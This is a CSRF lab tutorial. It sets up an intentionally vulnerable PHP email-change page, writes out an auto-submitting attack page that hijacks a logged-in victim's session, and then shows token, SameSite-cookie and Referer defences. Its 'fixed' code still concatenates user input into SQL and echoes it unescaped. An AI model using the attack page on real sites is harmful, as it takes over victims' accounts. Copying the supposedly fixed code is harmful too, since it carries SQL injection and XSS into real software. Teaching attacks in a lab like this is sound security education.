Network

Web Apps

System

Cloud

Cryptography

IoT

Exercise 5: Cross-Site Request Forgery (CSRF)

by | Jan 12, 2025

Objective

Learn how to exploit Cross-Site Request Forgery (CSRF) vulnerabilities to perform unauthorized actions on behalf of an authenticated user and understand prevention techniques.

Scenario

You are assessing a social media platform where users can change their profile email address. Due to a lack of CSRF protection, an attacker can craft a malicious web page that silently submits a request to change a victim’s email address when they visit the attacker’s page. Your objective is to demonstrate this attack and explore mitigation strategies.


Lab Setup

Prerequisites:

  • Basic knowledge of HTML, PHP (or any backend language).
  • XAMPP/LAMP/WAMP stack installed (or any web server with PHP and MySQL support).
  • A code editor (e.g., VSCode, Sublime Text).

Step 1: Create the Vulnerable Web Application

Database Setup

Open phpMyAdmin and create a new database:

CREATE DATABASE csrf_lab;

Use the database:

USE csrf_lab;

Create a users table:

CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL,
    email VARCHAR(100) NOT NULL
);

Insert a sample user:

INSERT INTO users (username, email) VALUES ('victim', '[email protected]');

PHP Script for Email Change Functionality

Create a file change_email.php:

<?php
session_start();
$conn = mysqli_connect("localhost", "root", "", "csrf_lab");

// Simulate user login
$_SESSION['user_id'] = 1;

if (isset($_POST['email'])) {
    $email = $_POST['email'];
    $user_id = $_SESSION['user_id'];

    $query = "UPDATE users SET email='$email' WHERE id='$user_id'";
    mysqli_query($conn, $query);
    echo "<h2>Email changed to: $email</h2>";
}
?>

<form method="POST" action="">
    New Email: <input type="email" name="email" required>
    <button type="submit">Change Email</button>
</form>

Running the Application

Start your Apache and MySQL servers.

Place change_email.php in the web server’s root directory (htdocs for XAMPP).

Open http://localhost/change_email.php in your browser.


Exploitation Steps

Crafting the Malicious Page

Create a file csrf_attack.html with the following content:

<html>
<body>
    <h2>Click anywhere on this page!</h2>
    <form action="http://localhost/change_email.php" method="POST" id="csrfForm">
        <input type="hidden" name="email" value="[email protected]">
    </form>
    <script>
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

Host csrf_attack.html on any web server (e.g., http://attacker.com/csrf_attack.html).

While logged in as the victim on http://localhost/change_email.php, visit the malicious page.

Expected Result:


Solution and Prevention

Problem Analysis

  • The server accepts state-changing requests without verifying their origin.

Fixing the Vulnerability

Implement Anti-CSRF Tokens

Modify change_email.php to include CSRF protection:

<?php
session_start();
$conn = mysqli_connect("localhost", "root", "", "csrf_lab");

if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        $email = $_POST['email'];
        $user_id = $_SESSION['user_id'];
        $query = "UPDATE users SET email='$email' WHERE id='$user_id'";
        mysqli_query($conn, $query);
        echo "<h2>Email changed to: $email</h2>";
    } else {
        echo "<h2>Invalid CSRF token!</h2>";
    }
}
?>

<form method="POST" action="">
    New Email: <input type="email" name="email" required>
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    <button type="submit">Change Email</button>
</form>

Use SameSite Cookies

Configure cookies to prevent cross-origin requests:

setcookie("session", session_id(), [
    'samesite' => 'Strict',
    'secure' => true,
    'httponly' => true
]);

Verify the Referer Header

Reject requests without a valid origin.


Testing After Fix

  1. Revisit csrf_attack.html.
  2. Observe that the email change request is blocked due to an invalid CSRF token.

Conclusion

In this lab, you exploited a CSRF vulnerability to change a user’s email address without their consent. You also learned how to mitigate this risk using anti-CSRF tokens, SameSite cookies, and origin verification. Understanding and applying these measures is critical to securing applications against CSRF attacks.

0 Comments